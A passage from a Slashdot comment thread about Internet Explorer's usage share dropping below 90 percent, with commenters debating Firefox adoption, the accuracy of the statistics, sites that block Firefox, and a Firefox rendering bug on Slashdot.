      But uou are also wrong about the media and about people: the media (and people) actually uses "X growth rate" to mean BOTH the first and second derivatives, depending on (a) how the info was fed to them and what the original 'slant' was, (b) what slant they themselves want to give to the info, and (c) depending on how confused the individuals involved were. Take a careful look next time at articles that talk about "growth rates" (especially about issues like e.g. crime or population) and you'll see what I mean - both are used. This of course causes much of confusion amongst the public, and is a great way to "lie with statistics", but we are NOT bloody "Joe Public" here on /., we're a friggin community of engineers, scientists etc. (at least supposed to be).

      You're also wrong about "major fields" using "growth rate" for anything. "Major fields" don't use such "Joe Public" terms specifically because they're confusing. E.g. Mathematicians and physicists talk about first/second/third etc. derivatives, at least at the real universities that I studied at.

  42. IBM jumping on Firefox by unk1911 · · Score: 3, Informative

    In related news, according to this story, IBM employees (numbering +- 300,000) are urged to switch over to Firefox. That should help the numbers even more

    1. Re:IBM jumping on Firefox by Anonymous Coward · · Score: 0

      In related news, according to this story, IBM employees (numbering +- 300,000) are urged to switch over to Firefox. That should help the numbers even more

      Does that mean they use Windows?

    2. Re:IBM jumping on Firefox by pinkocommie · · Score: 1

      Compared to 80 million downloads? even scaling that by a 10th for repeats, 8,000:300 not THAT significant by numbers alon

    3. Re:IBM jumping on Firefox by metricmusic · · Score: 1

      yes. they develop software that runs on windows.

      --
      http://www.livejournal.com/users/metricmusic
  43. How do they calculate this? by Anonymous Coward · · Score: 0

    Anyone know how they calculate these stats? It has always seemed to me that the people who use Firefox probably use the web more than people who use IE, which would tend to inflate FF's numbers.

  44. Preoccupied? by Anonymous Coward · · Score: 0

    I wonder how much more popular Firefox would be if its fans concentrated all the time they spent worrying about its market share on developing the browser instead.

  45. I'd bet... by Samurai+Cat! · · Score: 2, Insightful

    ...if Firefox (or any other browser) were installed with Windows machines by default like IE, said browser's share would be much higher. MUCH higher.

    People use what's put in front of them. IE's 90% share doesn't mean it's that much better than the alternatives.

    --

    "People" using "unnecessary" quotes should be "shot".
    1. Re:I'd bet... by Anonymous Coward · · Score: 0

      People use what's put in front of them.

      That's why I installed Firefox on my parents computer, my co-workers computers and my wife's parents computers and of course my computers.

      And yes, they are using it.

    2. Re:I'd bet... by Anonymous Coward · · Score: 0

      That's on the assumption that Firefox is truly better. We'll wait to see how much better it really is when it gains ground. Why? Because then it's a legitimate target for hackers. I'm glad logic is widely used here...

  46. Re:83% use firefox at Networkmirror by winkydink · · Score: 2, Informative

    No.

    The breakdown of the top 15 is:

    1 82.63% Mozilla
    2 14.70% Microsoft Internet Explorer
    3 0.46% Opera/8.0 (Windows NT 5.1; U; en)
    4 0.25% msnbot/1.0 (+http://search.msn.com/msnbot.htm)
    5 0.25% Googlebot/2.1 (+http://www.google.com/bot.html)
    6 0.21% Mediapartners-Google/2.1
    7 0.18% Microsoft URL Control - 6.01.9782
    8 0.16% Opera/8.0 (X11; Linux i686; U; en)
    9 0.10% Opera/8.0 (Windows NT 5.0; U; en)
    10 0.07% Opera/7.54 (Windows NT 5.1; U) [en]
    11 0.07% Opera/7.54 (X11; Linux i686; U) [en]
    12 0.02% Avant Browser (http://www.avantbrowser.com/
    13 0.02% Opera/7.20 (Windows NT 5.0; U) [en]
    14 0.02% Googlebot/2.1 (+http://www.googlebot.com/bot.html)
    15 0.02% Links (2.1pre17; Linux 2.6.10-gentoo-r1 i686; x)

    --

    "I'd rather be a lightning rod than a seismometer." -Ken Kesey

  47. Poor Microsoft by Dracos · · Score: 1

    Early on, MS preferred WebSideStory's numbers to OneStat because OneStat showed more of a decline for IE. Personally, I think OneStat has more accurate global numbers. This is a trend that MS can't ignore, and can't really do much about.

  48. Relevant yesterday's Slashdot post by otisg · · Score: 1

    Shows how Firefox/Mozilla/Microsoft/Google(.org|.com) compare:

    http://it.slashdot.org/comments.pl?sid=149315&cid= 12516546

    --
    Simpy
  49. Good news for a number of browsers by Sv-Manowar · · Score: 1

    I think its important to note that this isnt just a good sign for Firefox, its also great news that the more standards compliant browsers (like Safari & Opera) are taking share away from older, broken ones like IE 4 and (to a lesser extent) IE 5. As more of the web transition toward browsers that allow developers to take advantage of the power of CSS, we can begin to push further toward the semantic web.

  50. Jesus H. Christ! by Anonymous Coward · · Score: 0

    You're kidding right?

    FireFox has had a few bad security flaws recently (most had patches release the SAME DAY)

    Not true. there have been several high risk vulnerabilities lately but the patches were slow in coming. The most recent vulnerability took 3 days from the public release of exploit code before the patch was released. Lord alone knows how long they knew about it before the public disclosure.

    offers MUCH greater functionality (www.mozdev.org)

    What? Which? How? WTF are you talking about?

    and you have to wait until Microsoft decides to release a patch once a hole is discoverd.

    Versus having to wait until mozilla.org decides to release a patch and then waiting to see if your distribution will package that patch. I don't see how this is any better than waiting on Microsoft.

    Of course IE is "compatible" with more sites (as long as you don't consider RFC compliance or if the site adheres to any internet standards).

    When I consider sites, I usually consider sites! I don't usually consider compliance and "internet standards", I consider sites. And, since you've already said; "Of course IE is "compatible" with more sites" there isn't much point to your argument.

  51. Re:Well it seems like a Troll.. by Neophytus · · Score: 1

    Patches? I must have missed those. I've always had to re-download the entire build.

  52. HOW IS THIS "INSIGHTFUL"? by Anonymous Coward · · Score: 0, Offtopic

    You mods are cock-tards.

    1. Re:HOW IS THIS "INSIGHTFUL"? by Anonymous Coward · · Score: 0

      I don't know!?! How did your message get modded insightful?!

  53. Re:Well it was great while it lasted! by onion_cfe · · Score: 2, Funny

    Anybody that ever switched from Firefox back to IE for security reasons, respond to this...

  54. Weight Watchers blocks Firefox users by doublem · · Score: 4, Interesting

    You haven't visited http://weightwatchers.com have you?

    I went there with Firefox 1.0.4. If you examine the URL they forward you to and the site itself you learn that their web masters assume Firefox doesn't support JavaScript or Cookies, and there's no "Click here to use the site anyway" like button.

    I had an exchange with their customer service a month or two ago about this, and their reply amounted to saying they wouldn't support an "unpopular" browser.

    I sent back an article about Firefox having more users than all non IE browsers combines, and they sent back the same form letter about not supporting every browser.

    Funny thing is, if I spoof my browser string as Internet Explorer 34691.0.45.72.22222 running on Windows THFFFT, the site works fine. I haven't signed up yet though, since I won't spend my money on a site that require me to futz around with obscure browser settings to work.

    I also found it odd that their email replies seemed to consider Firefox to be an Opera variant.

    --
    "Live Free or Die." Don't like it? Then keep out of the USA
    1. Re:Weight Watchers blocks Firefox users by Inkieminstrel · · Score: 1

      I posted just above you about the same issue. I've talked to their customer support also. They first complained about it being beta (last year) and then they just ignored me.

      I think I'll write back with statistics to back it up.

      It's also interesting to note that the same error comes up when you go to www.weightwatchers.de, where supposedly Firefox has >20% market share.

    2. Re:Weight Watchers blocks Firefox users by plague3106 · · Score: 3, Informative

      Or when you get their page saying it won't work, just scrool to the bottom and click Home, and it will load just fine..

    3. Re:Weight Watchers blocks Firefox users by Jeremi · · Score: 5, Funny

      Maybe once FireFox gets a bit more bloated, they'll let it in.

      --


      I don't care if it's 90,000 hectares. That lake was not my doing.
    4. Re:Weight Watchers blocks Firefox users by mav[LAG] · · Score: 1

      Note to self: don't drink coffee and browse /. at the same time. You sir, owe me a new keyboard and monitor.

      Someone with modpoints and a sense of humour do the necessary to the above post please :)

      --
      --- Hot Shot City is particularly good.
    5. Re:Weight Watchers blocks Firefox users by FuzzyBad-Mofo · · Score: 1

      The problem is that you're dealing with the wrong people. Their apparently lazy and/or incompetant IT department has no interest in supporting web standards. Talk to their CEO, and ask if they find it acceptable to turn away at least 10% of their potential customers.

    6. Re:Weight Watchers blocks Firefox users by carpe_noctem · · Score: 1

      Site Requirements

      Make sure your browser accepts cookies.


      What hypocrites! I hope they only give no-sugar cookies... IE is bloated enough already.

      --
      "Quoting famous computer scientists out of context is the root of all evil (or at least most of it) in programming." - K
    7. Re:Weight Watchers blocks Firefox users by mysidia · · Score: 2, Informative

      Indeed. Get the User Agent Switcher extension from update.mozilla.org, switch the user agent string to Internet Explorer 6, and the site works fine.

      Apparently their web developers need to learn a thing or two about how to decide if a browser has javascript support or not. Perhaps they never heard of <noscript> ?

    8. Re:Weight Watchers blocks Firefox users by metricmusic · · Score: 1

      Their javascript is screwy so its no wonder it reports firefox doesnt support it.

      when you get to the error screen, try clicking on the 'contact us' link or the 'help' link.

      Neighter work. They need to get better web developers.

      --
      http://www.livejournal.com/users/metricmusic
    9. Re:Weight Watchers blocks Firefox users by aztracker1 · · Score: 1

      try this ... http://www.weightwatchers.com/javascript=True&cook ies=True

      Works fine for getting past their ignorance... ;) stupid ignorant bastards...

      --
      Michael J. Ryan - tracker1.info
    10. Re:Weight Watchers blocks Firefox users by the_womble · · Score: 1

      Your problem is the lack of instructions on how to turn on cookies? So what? The site works fine with Firefox, that is what matters.

    11. Re:Weight Watchers blocks Firefox users by MoonBuggy · · Score: 1

      Interestingly enough, I'm accepted when I spoof myself as IE6 but not when I'm spoofed as GoogleBot, so not only are they turning away valuable customers, they appear to be turning away valuable PageRank (although looking at the Google listing for weightwatchers.com it would appear that GoogleBot's smart enough to just follow the links at the bottom of the page).

      I think that's worth mentioning to them, as is the fact that they don't need to "support" Firefox, it'd just be appreciated if they didn't explicitly block it.

    12. Re:Weight Watchers blocks Firefox users by RoverDaddy · · Score: 1

      Small correction. There's no Home selection at the bottom of their page (at least when I look today). However, if you select "About Us", you get a page where a Home selection is prominently displayed at the top.

      --
      RETURN without GOSUB in line 1050
    13. Re:Weight Watchers blocks Firefox users by Bert64 · · Score: 1

      Which is just stupid..
      If IE weren't so poor at rendering html/css/xhtml etc, there would be no need to "support" browsers, you could just write standard html code and any decent browser would automatically be supported.

      --
      http://spamdecoy.net - free throwaway anonymous email - avoid spam!
  55. "Individual investors" would tend to be smarter by Anonymous Coward · · Score: 0

    Someone economically successful enough to be an individual investor would also tend to be smarter than average.

    And why am I not surprised to find a correlation between user intelligence and dumping Intestinal Exploder?

  56. BULLSHIT!!! by Anonymous Coward · · Score: 0

    I'm sick and tired of this lame ass apologist excuse! Slashdot, broken HTML or not, renders fine in IE 4.0 and greater, Netscape Navigator, Mozilla, Konqueror, Safari, Opera, Cello, and several other browsers. The fact that it doesn't render properly in one and only one browser(Firefox)is the fault of THAT browser(Firefox)!

    1. Re:BULLSHIT!!! by Anonymous Coward · · Score: 0


      I'm on FireFox right now, and I don't know what the hell you're babbling about...

    2. Re:BULLSHIT!!! by jacksonj04 · · Score: 3, Insightful

      Bzzt, wrong!

      Firefox renders to something called a standard.

      Slashdot is absolutely nowhere near any known web standard.

      Thus, Slashdot's HTML is ballsed up. Firefox may stand a better chance with valid HTML, the other browsers are using 'quirks' mode and rendering what they think the page should say, not what it does.

      --
      How many people can read hex if only you and dead people can read hex?
    3. Re:BULLSHIT!!! by Anonymous Coward · · Score: 0

      Slashdot's HTML is ballsed up.

      This is true. It does not, however, mean that Slashdot's to blame for this particular bug. If I unplug your network cable, will you blame Slashdot's HTML for the fact that you can't connect? After all, Slashdot's HTML is ballsed up.

      Firefox may stand a better chance with valid HTML

      Then how do you explain the Bugzilla entry, containing a testcase with perfectly valid HTML, that exhibits exactly the same problem?

      Slashdot's HTML is not the thing that causes this problem. A bug in Firefox is. The fucking Firefox developers agree. Stop it with the moronity.

    4. Re:BULLSHIT!!! by mattyrobinson69 · · Score: 4, Insightful

      firefox does not render the web according to a standard. check this test if you dont believe me:

      http://www.webstandards.org/act/acid2/

      no browser renders the web according to the standards. have you ever tried writing a website to work across all browsers?

      even safari (the only browser so far to pass acid2) doesn't render according to standards - they had to hack the code to make it render the parts of the standards that acid2 touched on (not the entire standard).

      Firefox has a bug, deal with it.

    5. Re:BULLSHIT!!! by Dolda2000 · · Score: 1
      Actually, the Firefox devs have said themselves that it is a bug in Firefox, not in the Slashcode. I don't remember the specifics, but it was some kind of race condition. IIRC, Firefox 1.1 will fix it along with some other fixes in the incremental rendering code.

      Also, Firefox also uses Quirks mode for certain DOCTYPEs. More or less every browser on earth does, since some DOCTYPEs are known to more or less always house messed up code. If you pop up Firefox's Page Info dialog for a given page, you'll see if it's rendering it in quirks mode or standards compliance mode.

    6. Re:BULLSHIT!!! by Citizen+of+Earth · · Score: 1

      http://www.webstandards.org/act/acid2/

      The test reminds me of a Dilbert strip where Dilbert has to dumb down his technical presentation to a such a level that the senior management can understand. His presentation ends up being a picture of a frowny face.

    7. Re:BULLSHIT!!! by TelJanin · · Score: 1

      The Acid test does not test standards, it tests that browsers won't freak out when confronted with bad code. Validate it with the w3c CSS validator if you don't believe me.

    8. Re:BULLSHIT!!! by jayloden · · Score: 2, Informative

      You're both right. Firefox supports html standards (though not the full CSS standard, hence the Acid2 problems). And yes, slashdot is absolute crap, the code is HTML 3.2, and it's totally non-standard. Alistapart.com did a retooling of slashdot to standards compliant XHTML and CSS, and it worked fine.

      Yes, there's a bug...and yes, it's fixed in any of the nightly builds of FF, and will be fixed in FF 1.1

      However, if slashdot was valid XHTML and CSS instead of nested table after nested table with invalid elements, it would go a long way toward preventing the problem. I can't say it would fix it for sure, but the problem certainly wasn't there on the retooling ALA did of /. using the standards.

      So you're both right: it's a bug, but the slashcode html generation is crap, too.

      -Jay

    9. Re:BULLSHIT!!! by Anonymous Coward · · Score: 0

      Seems like someone (other than I) should create a better test page that tests all standards. I mean, it is definately do-able though it would take a lot of effot for little payback

    10. Re:BULLSHIT!!! by Anonymous Coward · · Score: 1, Informative

      The Acid test does not test standards

      Let's see what the Acid test has to say about this, shall we?

      Acid2 is a test page, written to help browser vendors ensure proper support for web standards in their products.

      You are wrong, in fact so wrong, you are utterly clueless. It tests support for, among other things CSS. Part of the CSS specification requires user-agents to handle errors in certain ways. Therefore, in order to test CSS conformance, it must include errors in its stylesheet.

      The fact that you can see errors when you validate it is merely evidence that it's testing conformance to part of the CSS specification that handles errors. It tests conformance to the other parts of CSS too.

      In general, when correcting somebody, try to have at least some knowledge of what you are talking about. In this particular case, it's obvious that you've never even seen the test, because it states up-front that it's all about testing standards. That's its very nature. You might as well argue that water isn't wet.

    11. Re:BULLSHIT!!! by mrchaotica · · Score: 1

      If the problem was Slashdot's HTML, why does the bug happen only part of the time?

      (Hint: the problem isn't Slashdot's HTML, despite fact that it sucks.)

      --

      "[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz

    12. Re:BULLSHIT!!! by jacksonj04 · · Score: 1

      *That* I know is a problem in Firefox due to when page elements get rendered (ie before the whole page is loaded), which is why zoom in zoom out fixes it by forcing a total re-render.

      The fact it happens at all is due to godawful HTML.

      --
      How many people can read hex if only you and dead people can read hex?
    13. Re:BULLSHIT!!! by Anonymous Coward · · Score: 0

      The fact it happens at all is due to godawful HTML.

      I refer you to this comment.

      You people really do have a pathological need to shift the blame to anywhere but Firefox, don't you?

      If it's "due to godawful HTML", then please explain why valid HTML shows the exact same problem.

    14. Re:BULLSHIT!!! by jacksonj04 · · Score: 1

      Because the HTML is godawful, valid or not.

      I acknowledge Firefox has a render bug (though I haven't seen it recently), but I'm pointing out that if Slashdot HTML wasn't invalid and generally piss-poorly organised (Nested tables anybody?) then Firefox would stand a far better chance.

      --
      How many people can read hex if only you and dead people can read hex?
  57. Re:83% use firefox at Networkmirror by pomo+monster · · Score: 2, Interesting

    No Safari? Do these stats lump it in with Mozilla, or something? Or does it really have less than 0.02% marketshare? :p

  58. For the first time? by whats_a_zip · · Score: 1

    "CNN has a story stating that, according to a WebSideStory report, Internet Explorer has slipped below 90% usage share for the first time."

    Since when? I think you meant slipped below 90%. Back in the day, there was only Mosiac. Then Microsoft introduced IE to do battle with Netscape. Netscape was around for years before IE.

    No, the internet wasn't invented by Al Gore, and it didn't just start 5 years ago.

  59. Re:83% use firefox at Networkmirror by winkydink · · Score: 1

    I dunno. This is the stock output from webalizer.

    --

    "I'd rather be a lightning rod than a seismometer." -Ken Kesey

  60. this is great by suezz · · Score: 1

    news if it is factual.

    if not - it is nice to have some fud out there against microsoft.

    I hope all the idiots that wrote their site for ie only are getting nervous now - they should be - you do not write a site for a specific browser - to write to open standard protocols.

  61. who are... by tomstdenis · · Score: 1

    ...these IE using motherfuckers?

    I haven't used IE in months [other than on my pocketpc where I don't really give a shit].

    In windows firefox is just a nicer browser. MS IE has so little to offer that is productive...

    Tom

    --
    Someday, I'll have a real sig.
    1. Re:who are... by Anonymous Coward · · Score: 0

      ...these IE using motherfuckers?

      Um, 9 out of 10 people who use the Internet? Or, in developed countries, pretty much everybody.

    2. Re:who are... by Anonymous Coward · · Score: 0

      these IE using motherfuckers?

      No offense. But who are you to do name calling like that? IE works well if you know how to use it and secure yourself. It even loads up faster than FireFox.

      MS IE has so little to offer that is productive
      Call me a troll, but in what way? Not having Tab browsing? I believe that all depends on what people are used to.

      No offense geek-squad. But IE actually works just fine for certain users. I use both and I don't see the big deal about it. I get virus attacks (So I explorer around on the net) thru both IE and FireFox. My computer is secure. So I don't worry and don't really gives a rats ass if I'm use IE or FireFox.

      Mod me as flamebait, troll, or whatever.. But do not call me a MF'er. Have some respect, people.

    3. Re:who are... by GbrDead · · Score: 1

      Who are these motherfuckers who began using IE in the first place? :-)
      I haven't used IE in 8 years (i.e. since I got rich enough to buy a modem and a dial-up account).

    4. Re:who are... by Anonymous Coward · · Score: 0

      I use it at work because I'm too lazy to install firefox. Every now and then I wish I had tabs but I don't want to wait for firefox to download.

    5. Re:who are... by slavemowgli · · Score: 1

      Strangely enough, there actually are people who seem to be attached to IE and/or Microsoft more than can be rationally explained - the opposite of GNU/Linux/*BSD/FOSS zealots, maybe.

      I have a friend like that - she flat out refuses to use anything except IE, no matter how bad it is, no matter how sorely features like tabbed browsing are missing, and no matter how poor its standards compliance is.

      When you mention it to her, though, you'll get answers like "I don't want to install another program, that would make my computer even more unstable", "IE is the standard, so people should write their pages in a way that works with IE, not adhere to published W3C standards", and so on. If you inquire more or point out flaws in her reasoning, she'll get defensive and possibly jump at your throat, accusing you of hating IE just because it's made by Microsoft and similar things.

      She's otherwise a highly intelligent person, and I really like her a lot, but I just don't really understand this. Usually, I'd say that it may be due to the fact that in order to switch to another browser, people first have to admit that the one they're using now is inferior and that they might not be willing to do this since it'd seem to them that they'd be admitting that their judgement is poor (nobody likes to be on the loser's side, right?), but I think that she's intelligent enough to choose the best tool for the job rather than keeping an inferior one just so she doesn't have to admit it's inferior.

      That's one example of a person who uses IE. Another example - and probably one that's more common - would be people like my parents; they use IE because it's what came with the computer, because it works for the few websites they look at, and because they're used to it. They probably would be equally happy with Mozilla, but there is no reason for them to switch, and I don't want to install another browser for them just for the sake of it, especially since it means that I'll be the one who gets blamed if anything goes wrong, ever. The only actual advantage would probably be that they'd be less vulnerable to spyware etc., but they never had any, anyway (and I think they don't visit the kind of site where you're likely to catch any, either ^_~).

      So that's another example - the opposite of power users, so to speak. They hardly even understand what the word "browser" means (I pretty much have to explain that to them every time it comes up).

      --
      quidquid latine dictum sit altum videtur.
  62. "Averse to Microsoft products"? by Anonymous Coward · · Score: 3, Insightful

    Why do people assume that the only reason for not using Microsoft products is that you don't like Microsoft?

    I don't use Cubase because I hate Emagic, or PSP because I don't like Adobe.

    I do use Firefox because it works fine, and I have not had any spyware since I started using it. It's quite simple really, and if Microsoft comes out with a better browser, I'll use that. They are both 'free' as I got explorer free with Windows.

    1. Re:"Averse to Microsoft products"? by mushroom+blue · · Score: 1

      so, how does the beer taste?

    2. Re:"Averse to Microsoft products"? by the+pickle · · Score: 1

      I agree with you that the article summary could have been better written, but then again, that describes 90% of the summaries on Slashdot.

      However, disagreeing with a company's immoral, unethical, and illegal business practises is a perfectly valid reason not to use that company's products. It's called a boycott, and the technique dates from long before the Internet, or even computers.

      I'm more than willing to sacrifice some functionality for my beliefs*. You have to think that's at least part of the reason Linux is as popular as it is, because I don't think anyone is going to argue that it's easier to use than Windows.

      *Not saying Firefox users are really sacrificing anything; with the way things are now, it's the IE users who are sacrificing. Unfortunately, most of them don't know it yet.

      p

  63. So... by Skiron · · Score: 1

    I guess Outlook use has dropped by 50% as sales for kosher r0lex w4tch3s has fallen too?

  64. Manipulated by Klivian · · Score: 3, Insightful

    I wonder why they have manipulated the statistics like that. They split Opera into different versions and systems, while not doing the same for IE and "Mozilla". In the case of Mozilla it's even worse, the lack of Firefox suggest they lump all Gecko based browsers together as Mozilla. Besides where are Konqueror and Safari?

    1. Re:Manipulated by Curtman · · Score: 1

      I wonder why they have manipulated the statistics like that. They split Opera into different versions and systems

      That's not what kills Opera though. Add them all up and they're not quite 1%. You're right it's not a fair assessment, but I don't think its eactly biased either. Not like they did that to make Opera look bad.

    2. Re:Manipulated by croddy · · Score: 1

      it doesn't really matter for a browser like opera; it's pretty much always going to be in the 1% category.

    3. Re:Manipulated by Klivian · · Score: 1

      It's not only the Opera part(the actuall number does not matter), you also have the big lumps they call IE and Mozilla.Basicly the measurment are incorrect in several ways. Whats in those two categories, everything with IE or Mozilla in the UA string? Opera's data are fairly accurate, baring user who spoof the user agent string. Mozilla are clearly not correct, taking all the different browsers using Gecko and the like. Another example are Konqueror who by default says, Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.89 (like Gecko), do they lump it in with Mozilla too?

    4. Re:Manipulated by Curtman · · Score: 1

      do they lump it in with Mozilla too?

      Maybe.. Better shave half a percentage off Gecko to be sure.

  65. Yeah right.... by Anonymous Coward · · Score: 0

    Where does that leave Mac and Linux...and Firefox, for that matter? They're all just a tad below 90% market share.

  66. Big freaking deal by Anonymous Coward · · Score: 0

    Microsoft still has the impenetrable market of users who got IE when they got a computer and haven't thought about it twice.

    What's really going on is that Microsoft isn't even trying. Not too suprising since IE is something they make no money on. IE having nearly 98% marketshare didn't seem to win them anything that is worth the while of a multi-billion dollar corporation.

    They can make Firefox disappear virtually overnight when they want to.

    So what's their game plan? Beats me.

    1. Re:Big freaking deal by Anonymous Coward · · Score: 0

      "They can make Firefox disappear virtually overnight when they want to."

      How?

  67. In other news... by Anonymous Coward · · Score: 0

    MacCentral is reporting that over 95% of all internet users are using Safari.

    Any questions?

  68. Re:83% use firefox at Networkmirror by novakreo · · Score: 1

    The breakdown of the top 15 is:

    1 82.63% Mozilla

    Which means that your original claim that 83% use Firefox is inaccurate. Mozilla can mean anything from Firefox to the Mozilla 'Seamonkey' Suite to Netscape or anything else based on Gecko, depending on how your logging software interprets User-Agent headers.

    It's great to see a site where IE isn't dominant, but Firefox can't take all the credit.

    --
    O frabjous day! Callooh! Callay!
  69. Bitter by Anonymous Coward · · Score: 0

    Yeah, those damn geeks with their pop-up blocking browsers. Kind of eats into one's ad revenue a bit, doesn't it. And that's pretty important to a Great porn DVD site, I would guess. :-D

  70. Internet Community by lordsali256 · · Score: 0

    From the article: "Firefox, an open-source browser collectively developed by the Internet community..... Two questions: 1. Am I part of the Internet community since I use the internet? 2. If I am part of the Internet community, did I help develop Firefox, even though I wrote no code for it?

    --
    I am married, bow down before me geeks. Married men pray for me. http://www.htpcnews.com http://www.hackaday.com
  71. Very close by SuperKendall · · Score: 1

    The thing is that Mozilla/Firefox only has to attain around 10% marketshare in order for web developers EVERYWHERE to have to support it. No site can afford to just throw away 10% of thier customers.

    With IE not being specifically designed to by sites anymore, it's even easier for people to not use IE and then other features draw them over.

    It's already starting to happen really as it's far easier to not use IE now than it was two years ago - and IE share is reflecting what happens if people actually have a choice, even if one of the choices is a default.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
  72. Useless Metric by NaugaHunter · · Score: 2, Interesting

    How does it count people using a browser that reports it is a different browser to not be blocked from content?

    *Cough*

    I don't have anywhere to host pictures, but using Safari just changing the User Agent gets you different style sheets. Net effect is some stories render horribly when it serves a Safari page, but fine when it serves an I.E., both in Safari. I'm not going to accuse them that that is their goal, but it has definitely happened and changing the User Agent reveals no problems that required a separate style sheet.

    --
    R: That voice. Where have I heard that voice before? B: In about 365 other episodes. But I don't know who it is either.
    1. Re:Useless Metric by Anonymous Coward · · Score: 0

      Huh? I'm able to go to msnbc.com just fine in Firefox 1.0.4.

    2. Re:Useless Metric by kevn · · Score: 1

      this applies to browser's like Opera as well. There are some sites that refuse to serve a page to Opera but if you change the Browser ID to IE it will display fine. Many people will leave this setiing on, so they dont have to keep switching (afterall there aren't any Opera Specific sites. Good point

    3. Re:Useless Metric by NaugaHunter · · Score: 1

      It gets to the site fine, but is given a different style (.css) sheet. Opening the page in Safari as Safari and opening it in Safari as Explorer yield different-looking pages. On the main page I think it is a difference in headings only, but sometimes story pages format horribly if msnbc doesn't think you are IE.

      I don't know if Firefox let's you pretend to be another browser. If it does try this:

      1) Open msnbc in one window.
      2) Open a second window.
      3) Set the new window's agent to IE6
      4) In this window go to msnbc
      5) Compare the two windows.

      Again, not usually a huge difference. But a pointless difference, all the same if the pages adhere to standards.

      --
      R: That voice. Where have I heard that voice before? B: In about 365 other episodes. But I don't know who it is either.
  73. Re:Shoestring? Not quite by grotgrot · · Score: 2, Insightful

    Also add in that Microsoft pretty much disbanded their IE team for several years, so that meant there was no improved competition for Firefox. If Microsoft had continued to work on IE (adding tabs, anti-popup, more security etc) then I wonder how much market Firefox would have now.

  74. asia by blue_adept · · Score: 1

    Microsoft is strong in Asia, with Internet Explorer commanding a share of 94 percent

    in korea, only old ppl use Firefox. apparently.

    --

    "Is this just useless, or is it expensive as well?"
  75. 9.5% Usage on our Finance Sites by Ironix · · Score: 2, Interesting

    I just took at quick look at our NetTracker database and found that currently 9.5% of our visitors are using Mozilla. This is from a site that about 5 million hits a week. Keep in mind, our clientel is mainly composed of stupid daytraders, so 9.5% is quite good!

    --
    Still #1 -- Lonely Gay Geek
    1. Re:9.5% Usage on our Finance Sites by Anonymous Coward · · Score: 0

      "Keep in mind, our clientel is mainly composed of stupid daytraders, so 9.5% is quite good!"

      complete with a link to his website! www.marketvolume.com

      now a truely evil person might re post a link to this post on one of his message boards. this is why we dont slag our users AND reveal the company we work for. and you seem to have done them both in 1 post. congrats

    2. Re:9.5% Usage on our Finance Sites by Ironix · · Score: 1

      Hahaha! I completely forgot that was in there. I've had this account for ages. =)

      --
      Still #1 -- Lonely Gay Geek
  76. 90% share? by l33td00d42 · · Score: 1
    Internet Explorer has slipped below 90% usage share

    That's amazing. I want to know what 80% of the world, which doesn't use the internet but does use internet explorer, is using it for...

  77. Re:83% use firefox at Networkmirror by Anonymous Coward · · Score: 0

    I use Safari, and I've never heard of Networkmirror, let alone visited it.

    So it could just be that it's not a very representative sample.

  78. 90%? No way by xiando · · Score: 1

    April 2005: 49.81% Nov 2004: 59.07%

    1. Re:90%? No way by Emetophobe · · Score: 1

      Did you pull those statistics out of the air? A source would be useful..

  79. Re:Ugh. by Anonymous Coward · · Score: 0

    IE Fanboys: Insert comment about how this is an inaccurate rating, with inaccurate demographics.

    I use Firefox, and think these statistics are inaccurate. Anybody with a basic knowledge of HTTP and common client behaviour would. Doesn't make me an IE fanboy, I hate the fucking thing with a passion.

    Sorry to be cynical, but come on, thats we ever see in all the "Firefox gains x % of the internet" articles.

    I often post a comment pointing out that statistics of this nature are fundamentally flawed in stories like this, so I guess you are referring to me.

    You don't see the comments because they are posted by IE fanboys, you see the comments because they actually happen to be true.

  80. DELL where are you? by The_DoubleU · · Score: 1

    Because IE is already installed on PC's, I don't think that figure will drop much lower. But....
    we can change this.
    Are you working at dell and create their default images?
    Are you working in your local PC Supermarket?
    Then do the world a favor and pre-install firefox and remove all icons linking to IE. (Or link them to firefox.exe)

    --
    What power has law where only money rules.
  81. 90% share? by payndz · · Score: 4, Interesting
    Bill Gates: "The iPod has fallen below a 90% share of the music player market! Apple are doomed! Buy Windows Mobile 5.0!"

    Bill Gates: "Internet Explorer has fallen below 90% of the browser market! We still have total dominance! OSS is a dismal failure! Buy Windows XP!"

    --
    You must think in Russian.
  82. You still bother to contact customer service? by Anonymous Coward · · Score: 0

    Haven't you learned yet the only way to make things happen is to start at the top, rather than the bottom?

    Try dropping an email to the CEO letting him know that they're potentially losing 10% of their customers and see if the shit doesn't hit the IT fan.

  83. Japan / Asia browser market? by linebackn · · Score: 1

    I wonder why IE is so popular in Japan and Asia and if there is anything that can be done to address that.

    1. Re:Japan / Asia browser market? by Anonymous Coward · · Score: 0

      Let's see:

      10% of U.S. population uses Firefox = 30,000,000 users
      2% of China population uses Firefox = 26,000,000 users

      Not that much difference, is it?

  84. I am the lone lynx guy by Anonymous Coward · · Score: 0

    Funny, there's only one lynx guy so I guess that
    must be me. :)

    By the way, what's with the WinME people? You folks who
    read Slashdot. You should know better. ;)

  85. couldn't disagree with you more by Anonymous Coward · · Score: 0

    The reason why people use alternate browsers is that they're sick
    and tired of IE. You can only fool people for so long.
    Would you keep buying a car from a company that made cars with tires that fell off?
    Maybe some people would, but I'd be looking for a different company to buy cars from.

  86. Not for me! by antdude · · Score: 1
    --
    Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
  87. But 10% is HUGE! by ScottJenson · · Score: 2, Interesting

    You don't go directly from 0 to >50%. This is your basic "Tipping point" type of sociology. The first 10% is INCREDIBLY difficult to get. Once it becomes 'clear' that most of the trend setters are using something other than IE, there will be a fairly quick move to >50%. That is the basic premise of the "Tipping Point". I won't speculate on what the 'tipping point' percentage actually is but I would claim that we are well on the way there...

    1. Re:But 10% is HUGE! by Anonymous Coward · · Score: 0

      Absolute nonsense.

      10% is probably the computer literate section of the world that actually gives a flying squirrel what browser they're using.

      Everyone else will keep on using whatever their computer came with, because they don't even have to think about it.

      Everyone who would even consider switching web browsers has already heard of Firefox and done it already.

      Not to mention that Microsoft isn't even trying to combat Firefox, since IE doesn't make them any money anyway. Once Microsoft spends even a relatively insignificant amount of money opposing it, they're back up to 95%

      Firefox is great, but it's not winning any wars against "the great Satan" on account of anything spectacular.

    2. Re:But 10% is HUGE! by metricmusic · · Score: 1

      You forget about the people fixing the computers for these people. Who wants to keep fixing a friends computer over and over for the same spyware problems?

      They may not make money directly off IE, but those IE-only sites deter people from running linux which doesnt have IE.

